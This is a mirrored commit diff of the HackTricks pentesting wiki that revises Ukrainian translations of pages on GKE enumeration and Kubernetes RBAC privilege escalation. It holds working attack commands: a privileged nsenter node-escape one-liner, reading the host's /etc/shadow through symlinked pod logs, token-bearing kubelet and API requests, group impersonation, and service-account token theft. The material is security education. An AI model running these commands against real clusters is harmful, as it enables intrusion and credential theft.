mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-enu
This commit is contained in:
+38
-22
@@ -1,10 +1,10 @@
|
||||
# GCP - Контейнери та GKE Enum
|
||||
# GCP - Containers & GKE Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Контейнери
|
||||
## Containers
|
||||
|
||||
У контейнерах GCP ви можете знайти більшість контейнеризованих сервісів, які пропонує GCP, тут ви можете побачити, як перерахувати найбільш поширені з них:
|
||||
У GCP containers можна знайти більшість container-based services, які пропонує GCP, тут ви можете побачити, як enumerate найпоширеніші з них:
|
||||
```bash
|
||||
gcloud container images list
|
||||
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
|
||||
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
На наступній сторінці ви можете перевірити, як **зловживати дозволами контейнера для ескалації привілеїв**:
|
||||
На наступній сторінці ви можете перевірити, як **abuse container permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -32,7 +32,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
|
||||
## Node Pools
|
||||
|
||||
Це пул машин (вузлів), які формують кластери kubernetes.
|
||||
Це пул машин (nodes), які формують kubernetes clusters.
|
||||
```bash
|
||||
# Pool of machines used by the cluster
|
||||
gcloud container node-pools list --zone <zone> --cluster <cluster>
|
||||
@@ -40,53 +40,69 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
|
||||
```
|
||||
## Kubernetes
|
||||
|
||||
Для отримання інформації про те, що таке Kubernetes, перегляньте цю сторінку:
|
||||
Для інформації про те, що таке Kubernetes, перегляньте цю сторінку:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/
|
||||
{{#endref}}
|
||||
|
||||
Спочатку ви можете перевірити, чи існують у вашому проекті будь-які кластери Kubernetes.
|
||||
Спочатку ви можете перевірити, чи існують якісь Kubernetes clusters у вашому project.
|
||||
```
|
||||
gcloud container clusters list
|
||||
```
|
||||
Якщо у вас є кластер, ви можете налаштувати `gcloud` для автоматичної конфігурації вашого `~/.kube/config` файлу. Цей файл використовується для аутентифікації, коли ви використовуєте [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), рідний CLI для взаємодії з K8s кластерами. Спробуйте цю команду.
|
||||
Якщо у вас є cluster, ви можете використати `gcloud`, щоб автоматично налаштувати файл `~/.kube/config`. Цей файл використовується для автентифікації, коли ви користуєтеся [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), native CLI для взаємодії з K8s clusters. Спробуйте цю команду.
|
||||
```
|
||||
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
|
||||
```
|
||||
Потім перегляньте файл `~/.kube/config`, щоб побачити згенеровані облікові дані. Цей файл буде використовуватися для автоматичного оновлення токенів доступу на основі тієї ж ідентичності, яку використовує ваша активна сесія `gcloud`. Це, звичайно, вимагає наявності правильних дозволів.
|
||||
Потім подивіться на файл `~/.kube/config`, щоб побачити згенеровані credentials. Цей файл використовуватиметься для автоматичного оновлення access tokens на основі тієї ж identity, яку використовує ваша активна сесія `gcloud`. Звісно, для цього потрібні відповідні permissions.
|
||||
|
||||
Коли це буде налаштовано, ви можете спробувати наступну команду, щоб отримати конфігурацію кластера.
|
||||
Після налаштування можна спробувати таку команду, щоб отримати cluster configuration.
|
||||
```
|
||||
kubectl cluster-info
|
||||
```
|
||||
Ви можете дізнатися більше про `gcloud` для контейнерів [тут](https://cloud.google.com/sdk/gcloud/reference/container/).
|
||||
Ви можете дізнатися більше про `gcloud` для containers [тут](https://cloud.google.com/sdk/gcloud/reference/container/).
|
||||
|
||||
Це простий скрипт для перерахунку kubernetes у GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
Ось простий script для enumeration kubernetes у GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
|
||||
### Підвищення привілеїв TLS Bootstrap
|
||||
### Current GKE identity and metadata checks
|
||||
|
||||
Спочатку ця техніка підвищення привілеїв дозволяла **привести до привілеїв всередині GKE кластера**, ефективно дозволяючи зловмиснику **повністю його скомпрометувати**.
|
||||
Під час review modern GKE clusters розділяйте Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity і node credentials. Google principal часто може отримати cluster endpoint data за допомогою `container.clusters.get`, але отримані Kubernetes requests усе одно мають пройти GKE/Kubernetes authorization і будь-які network restrictions, такі як private endpoints або authorized networks.
|
||||
|
||||
Це пов'язано з тим, що GKE надає [TLS Bootstrap облікові дані](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) у метаданих, які **доступні будь-кому, просто скомпрометувавши под**.
|
||||
Workload Identity Federation for GKE — це preferred спосіб для pods отримувати доступ до Google Cloud APIs. Перевірте, чи кластер має workload pool і чи Kubernetes service accounts зіставлені напряму як IAM principals, або ж їм дозволено impersonate IAM service accounts:
|
||||
```bash
|
||||
gcloud container clusters describe <cluster> --region <region> \
|
||||
--format='value(workloadIdentityConfig.workloadPool)'
|
||||
|
||||
Використана техніка пояснюється в наступних постах:
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
|
||||
```
|
||||
Якщо service account має анотацію `iam.gke.io/gcp-service-account`, перевір IAM service account policy на надання `roles/iam.workloadIdentityUser` для Kubernetes service account principals. Також перевір IAM allow policies на прямі workload identity principals або широкі principal sets.
|
||||
|
||||
Доступ до metadata залежить від режиму cluster, конфігурації node pool і налаштувань workload. Не припускай, що кожен pod може вкрасти node service account. У середовищах з Workload Identity звичайні pods мають використовувати GKE metadata server, щоб отримати workload identity, призначену їхньому Kubernetes service account. Компрометація node, `hostNetwork` pods у деяких Standard конфігураціях і legacy exposure metadata на node все ще можуть змінити blast radius, тому перевір фактичний metadata mode node pool, node service account, OAuth scopes і розміщення pod.
|
||||
|
||||
### TLS Boostrap Privilege Escalation
|
||||
|
||||
Спочатку ця technique privilege escalation дозволяла **privesc всередині GKE cluster**, фактично даючи атакувальнику можливість **повністю скомпрометувати його**.
|
||||
|
||||
Це тому, що GKE надає [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) у metadata, які **доступні будь-кому просто після компрометації pod**.
|
||||
|
||||
Використана technique описана в таких постах:
|
||||
|
||||
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
|
||||
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
|
||||
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
|
||||
|
||||
І цей інструмент був створений для автоматизації процесу: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
|
||||
А цей tool був створений, щоб автоматизувати процес: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
|
||||
|
||||
Однак техніка зловживала тим, що **з обліковими даними метаданих** було можливим **згенерувати CSR** (Запит на підписання сертифіката) для **нового вузла**, який був **автоматично схвалений**.\
|
||||
У моєму тесті я перевірив, що **ці запити більше не схвалюються автоматично**, тому я не впевнений, чи ця техніка все ще дійсна.
|
||||
Однак technique зловживала тим фактом, що **за допомогою metadata credentials** можна було **згенерувати CSR** (Certificate Signing Request) для **нового node**, який **автоматично схвалювався**.\
|
||||
У моєму тесті я перевірив, що **такі requests більше не схвалюються автоматично**, тож я не впевнений, чи ця technique все ще валідна.
|
||||
|
||||
### Секрети в Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
|
||||
У [**цьому пості**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) було виявлено адресу Kubelet API, доступну зсередини пода в GKE, що надає деталі запущених подів:
|
||||
У [**цьому пості**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) було виявлено було виявлено Kubelet API address, доступний із pod у GKE, який надавав details про pod, що запущені:
|
||||
```
|
||||
curl -v -k http://10.124.200.1:10255/pods
|
||||
```
|
||||
Навіть якщо API **не дозволяє змінювати ресурси**, можливо, що можна знайти **чутливу інформацію** у відповіді. Точка доступу /pods була знайдена за допомогою [**Kiterunner**](https://github.com/assetnote/kiterunner).
|
||||
Навіть якщо API **не дозволяє змінювати ресурси**, у відповіді все одно можна знайти **sensitive information**. Endpoint /pods було знайдено за допомогою [**Kiterunner**](https://github.com/assetnote/kiterunner).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+135
-133
@@ -1,23 +1,23 @@
|
||||
# Зловживання Roles/ClusterRoles в Kubernetes
|
||||
# Abusing Roles/ClusterRoles in Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Тут ви можете знайти деякі потенційно небезпечні конфігурації Roles і ClusterRoles.\
|
||||
Пам'ятайте, що ви можете отримати весь перелік підтримуваних ресурсів за допомогою `kubectl api-resources`
|
||||
Пам’ятайте, що ви можете отримати всі підтримувані ресурси за допомогою `kubectl api-resources`
|
||||
|
||||
## **Privilege Escalation**
|
||||
|
||||
Під цим розуміється мистецтво отримати доступ до іншого principal у межах кластера з іншими привілеями (в межах Kubernetes кластера або до зовнішніх хмар), ніж ті, що у вас вже є. В Kubernetes фактично є **4 main techniques to escalate privileges**:
|
||||
Під цим мається на увазі мистецтво отримання **доступу до іншого principal** всередині кластера **з іншими привілеями** (всередині kubernetes cluster або до external clouds), ніж ті, що у вас уже є. У Kubernetes є, по суті, **4 основні техніки для підвищення привілеїв**:
|
||||
|
||||
- Мати можливість **impersonate** інших user/groups/SAs з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
|
||||
- Мати можливість **create/patch/exec pods**, де ви можете **find or attach SAs** з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
|
||||
- Мати можливість **read secrets**, оскільки токени SAs зберігаються як secrets
|
||||
- Мати можливість **escape to the node** з контейнера, де ви можете вкрасти всі secrets контейнерів, що працюють на вузлі, облікові дані вузла та права вузла у хмарі, де він запущений (якщо є)
|
||||
- П'ята техніка, яку варто згадати — це здатність **run port-forward** в pod, оскільки ви можете отримати доступ до цікавих ресурсів всередині цього pod.
|
||||
- Мати змогу **impersonate** інших user/groups/SAs з кращими привілеями всередині kubernetes cluster або до external clouds
|
||||
- Мати змогу **create/patch/exec pods**, де ви можете **знайти або приєднати SAs** з кращими привілеями всередині kubernetes cluster або до external clouds
|
||||
- Мати змогу **read secrets**, оскільки токени SAs зберігаються як secrets
|
||||
- Мати змогу **escape to the node** з container, де ви можете вкрасти всі secrets контейнерів, що запущені на node, credentials node, і permissions node у cloud, в якому він працює (якщо такі є)
|
||||
- П’ята техніка, яку варто згадати, — це можливість **run port-forward** у pod, оскільки ви можете отримати доступ до цікавих ресурсів усередині цього pod.
|
||||
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster
|
||||
**wildcard (\*) надає permission на будь-який resource з будь-яким verb**. Це використовують admins. Усередині ClusterRole це означає, що attacker може зловживати будь-яким namespace у cluster
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### Доступ до будь-якого ресурсу з конкретною дією
|
||||
### Доступ до будь-якого ресурсу з певним verb
|
||||
|
||||
У RBAC деякі дозволи становлять значну загрозу:
|
||||
В RBAC певні permissions становлять значні ризики:
|
||||
|
||||
1. **`create`:** Надає можливість створювати будь-який ресурс кластера, що ризикує призвести до privilege escalation.
|
||||
2. **`list`:** Дозволяє перелічувати всі ресурси, потенційно leaking sensitive data.
|
||||
3. **`get`:** Дозволяє отримувати secrets з service accounts, що становить загрозу безпеці.
|
||||
1. **`create`:** Надає можливість створювати будь-який cluster resource, що створює ризик privilege escalation.
|
||||
2. **`list`:** Дозволяє отримувати список усіх resources, потенційно leak конфіденційних даних.
|
||||
3. **`get`:** Дозволяє access secrets з service accounts, що становить security threat.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -47,11 +47,11 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
### Pod Create - Викрасти Token
|
||||
|
||||
Зловмисник, який має права створювати pod, може приєднати привілейований Service Account до pod і викрасти token, щоб видаватися за цей Service Account, фактично підвищивши свої привілеї.
|
||||
Атакувальник з permissions на створення pod, може прикріпити privileged Service Account до pod і викрасти token, щоб impersonate Service Account. Фактично, це підвищує privileges до нього
|
||||
|
||||
Приклад pod, який викраде token service account `bootstrap-signer` та надішле його зловмиснику:
|
||||
Приклад pod, який викраде token service account `bootstrap-signer` і надішле його атакувальнику:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -74,12 +74,12 @@ hostNetwork: true
|
||||
```
|
||||
### Pod Create & Escape
|
||||
|
||||
Нижче вказано всі привілеї, які може мати контейнер:
|
||||
Наступне вказує на всі привілеї, які може мати container:
|
||||
|
||||
- **Privileged access** (відключення захисту та встановлення capabilities)
|
||||
- **Disable namespaces hostIPC and hostPid** — що може допомогти ескалації привілеїв
|
||||
- **Disable hostNetwork** namespace, що дає доступ до викрадення привілеїв хмарних вузлів і кращого доступу до мереж
|
||||
- **Mount hosts /** всередині контейнера
|
||||
- **Privileged access** (вимкнення захистів і налаштування capabilities)
|
||||
- **Disable namespaces hostIPC and hostPid** які можуть допомогти підвищити privileges
|
||||
- **Disable hostNetwork** namespace, надаючи доступ для крадіжки cloud privileges nodes і кращий доступ до networks
|
||||
- **Mount hosts / всередині container**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -115,19 +115,19 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Створіть pod за допомогою:
|
||||
Створіть pod з:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Однолайнер із [this tweet](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
|
||||
One-liner з [цього tweet](https://twitter.com/mauilion/status/1129468485480751104) і з деякими доповненнями:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Now that you can escape to the node check post-exploitation techniques in:
|
||||
Тепер, коли ви можете втекти на node, перевірте post-exploitation techniques у:
|
||||
|
||||
#### Stealth
|
||||
|
||||
Можливо, ви захочете бути **більш непомітним**. На наступних сторінках показано, до чого ви зможете отримати доступ, якщо створите pod, увімкнувши лише деякі з привілеїв, згаданих у попередньому шаблоні:
|
||||
Ймовірно, ви захочете бути **stealthier**; на наступних сторінках ви побачите, до чого ви зможете отримати доступ, якщо створите pod, увімкнувши лише деякі з згаданих privileges із попереднього шаблону:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,14 +136,14 @@ Now that you can escape to the node check post-exploitation techniques in:
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Приклади створення/зловживання наведеними конфігураціями privileged pods можна знайти в_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_Ви можете знайти приклади того, як створювати/abuse попередні privileged pods configurations, у_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
Якщо ви можете **create** **pod** (і опційно **service account**), ви можете **отримати привілеї в cloud environment**, призначивши **cloud roles pod або service account** і потім отримавши до них доступ.
|
||||
Більше того, якщо ви можете створити **pod з host network namespace**, ви можете **вкрасти роль IAM** екземпляра **node**.
|
||||
Якщо ви можете **create** **pod** (і за бажанням **service account**), ви можете **obtain privileges in cloud environment** шляхом **assigning cloud roles to a pod or a service account** і потім отримати до них доступ.\
|
||||
Крім того, якщо ви можете створити **pod with the host network namespace**, ви можете **steal the IAM** role інстанса **node**.
|
||||
|
||||
For more information check:
|
||||
Для отримання додаткової інформації дивіться:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
@@ -151,9 +151,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
Можна зловживати цими дозволами, щоб **create a new pod** і **escalate privileges** як у попередньому прикладі.
|
||||
Можна abouse ці permissions, щоб **create a new pod** і estalae privileges, як у попередньому прикладі.
|
||||
|
||||
Нижче наведено yaml, який **creates a daemonset and exfiltrates the token of the SA** всередині pod:
|
||||
Наведений нижче yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,31 +191,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** — це ресурс у kubernetes, що використовується для **запуску команд у shell всередині pod**. Це дозволяє **виконувати команди всередині containers або отримати shell всередині**.
|
||||
**`pods/exec`** — це ресурс у kubernetes, який використовується для **запуску команд у shell всередині pod**. Це дозволяє **виконувати команди всередині containers або отримати shell всередині**.
|
||||
|
||||
Тому можливо **отримати доступ до pod і вкрасти токен SA**, або зайти в привілейований pod, escape на node, і вкрасти всі токени pods на node та (ab)use the node:
|
||||
Тому можливо **потрапити в pod і викрасти token SA**, або зайти в privileged pod, втекти на node та викрасти всі tokens pod'ів на node і (ab)use node:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> За замовчуванням команда виконується в першому контейнері pod. Отримайте **усі контейнери в pod** за допомогою `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` і потім **вкажіть контейнер**, в якому хочете виконати команду, за допомогою `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
>
|
||||
> Якщо це distroless контейнер, можна спробувати використовувати **shell builtins** для отримання інформації про контейнери або завантажити власні інструменти, наприклад **busybox**, використовуючи: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
> За замовчуванням команда виконується в першому container pod. Отримайте **усі pods у container** за допомогою `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`, а потім **вкажіть container**, у якому хочете її виконати, за допомогою `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
Якщо це distroless container, ви можете спробувати використати **shell builtins** щоб отримати інформацію про containers або завантажити власні tools, наприклад **busybox**, за допомогою: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
Цей дозвіл дозволяє **перенаправити один локальний порт на один порт у вказаному pod**. Це призначено для спрощення налагодження застосунків, що працюють у pod, але зловмисник може зловживати ним, щоб отримати доступ до цікавих (наприклад DBs) або вразливих застосунків (веб-застосунків?) всередині pod:
|
||||
Цей permission дозволяє **перенаправити один local port на один port у вказаному pod**. Це задумано для того, щоб легко debug applications, що працюють всередині pod, але attacker може зловживати цим, щоб отримати доступ до цікавих (наприклад, DBs) або vulnerable applications (webs?) всередині pod:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Записуваний на хості /var/log/ — Escape
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити pod з **hosts `/var/log/` directory mounted** на ньому, ви можете **escape from the container**.\
|
||||
Це відбувається тому, що коли **Kube-API tries to get the logs** контейнера (використовуючи `kubectl logs <pod>`), воно **requests the `0.log`** файл пода через `/logs/` endpoint сервісу **Kubelet**.\
|
||||
Сервіс Kubelet відкриває endpoint `/logs/`, який фактично **відкриває файлову систему `/var/log` контейнера**.
|
||||
Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити pod із **hosts `/var/log/` directory mounted** на ньому, ви можете **escape from the container**.\
|
||||
Це відбувається в основному тому, що коли **Kube-API намагається отримати logs** контейнера (використовуючи `kubectl logs <pod>`), він **requests the `0.log`** file pod через `/logs/` endpoint сервісу **Kubelet**.\
|
||||
Сервіс Kubelet надає `/logs/` endpoint, який фактично **exposing the `/var/log` filesystem of the container**.
|
||||
|
||||
Тому, атакувальник з **access to write in the /var/log/ folder** контейнера може зловживати цією поведінкою двома способами:
|
||||
Отже, attacker з **access to write in the /var/log/ folder** контейнера може abuse це поведінку двома способами:
|
||||
|
||||
- Змінивши файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`) так, щоб він був **symlink pointing to `/etc/shadow`**, наприклад. Тоді ви зможете exfiltrate hosts shadow file, виконавши:
|
||||
- Modifying `0.log` file свого контейнера (зазвичай located in `/var/logs/pods/namespace_pod_uid/container/0.log`) так, щоб він був **symlink pointing to `/etc/shadow`** наприклад. Потім ви зможете exfiltrate hosts shadow file, роблячи:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -223,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Якщо атакувальник контролює будь-який principal з **дозволами на читання `nodes/log`**, він може просто створити **symlink** у `/host-mounted/var/log/sym`, що вказує на `/`, і при **доступі до `https://<gateway>:10250/logs/sym/` він побачить список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів).
|
||||
- Якщо attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -235,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**Лабораторія та автоматизований експлойт доступні за** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**Лабораторію та automated exploit можна знайти в** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Обхід захисту readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Bypassing readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Якщо вам пощастить і доступна високо-привілейована capability capability `CAP_SYS_ADMIN`, ви можете просто перемонтувати папку як rw:
|
||||
Якщо вам достатньо пощастило і високо привілейована capability `CAP_SYS_ADMIN` доступна, ви можете просто перемонтувати папку як rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Обхід захисту hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Як зазначено в [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), можливо обійти захист:
|
||||
Як зазначено в [**цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), можна обійти захист:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Це мало запобігти втечам, подібним до попередніх: замість використання hostPath mount — використати PersistentVolume і PersistentVolumeClaim, щоб змонтувати папку hosts у контейнері з можливістю запису:
|
||||
Який мав запобігти escapes, як попередні, шляхом того, щоб замість використання hostPath mount застосувати PersistentVolume і PersistentVolumeClaim для монтування папки hosts у container з правом запису:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -297,16 +298,16 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **Імітація привілейованих облікових записів**
|
||||
### **Імперсонація privileged accounts**
|
||||
|
||||
Маючи привілей [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), зловмисник може видати себе за привілейований обліковий запис.
|
||||
З привілеєм [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) attacker could impersonate a privileged account.
|
||||
|
||||
Просто використайте параметр `--as=<username>` в команді `kubectl`, щоб імітувати користувача, або `--as-group=<group>` щоб імітувати групу:
|
||||
Просто використайте параметр `--as=<username>` у команді `kubectl`, щоб impersonate user, або `--as-group=<group>`, щоб impersonate group:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
Або використовуйте REST API:
|
||||
Або використайте REST API:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -314,16 +315,17 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Перелік Secrets
|
||||
### Список Secret
|
||||
|
||||
Дозвіл на **list secrets може дозволити зловмиснику фактично прочитати secrets**, отримавши доступ до REST API endpoint:
|
||||
Дозвіл на **list secrets може дозволити атакувальнику фактично прочитати secrets**, звертаючись до endpoint REST API:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Створення та читання Secrets
|
||||
|
||||
Існує спеціальний тип Kubernetes secret типу **kubernetes.io/service-account-token**, який зберігає serviceaccount tokens.
|
||||
Якщо у вас є права створювати і читати secrets, і ви також знаєте ім'я serviceaccount, ви можете створити secret наступним чином і потім вкрасти token відповідного serviceaccount з нього:
|
||||
Існує спеціальний тип Kubernetes Secret типу **kubernetes.io/service-account-token**, який зберігає service account tokens. Сучасні версії Kubernetes **не** створюють автоматично один довгоживучий Secret для кожного ServiceAccount; projected, bound TokenRequest tokens є стандартним шляхом для workload. Однак вручну створені service account token Secrets усе ще підтримуються, а оновлені або legacy clusters можуть і далі містити довгоживучі token Secrets. Поточні clusters також можуть позначати невикористані auto-generated legacy token Secrets як invalid і зрештою очищати їх, залишаючи labels на кшталт `kubernetes.io/legacy-token-invalid-since` та `kubernetes.io/legacy-token-last-used`.
|
||||
|
||||
Якщо у вас є permissions на створення та читання secrets, і ви також знаєте ім'я serviceaccount, ви можете створити secret так: а потім вкрасти token жертви serviceaccount з нього:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -334,7 +336,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Приклад експлуатації:
|
||||
Приклад exploitation:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -385,15 +387,15 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
|
||||
|
||||
|
||||
### Читання secret – brute-forcing token IDs
|
||||
### Reading a secret – brute-forcing token IDs
|
||||
|
||||
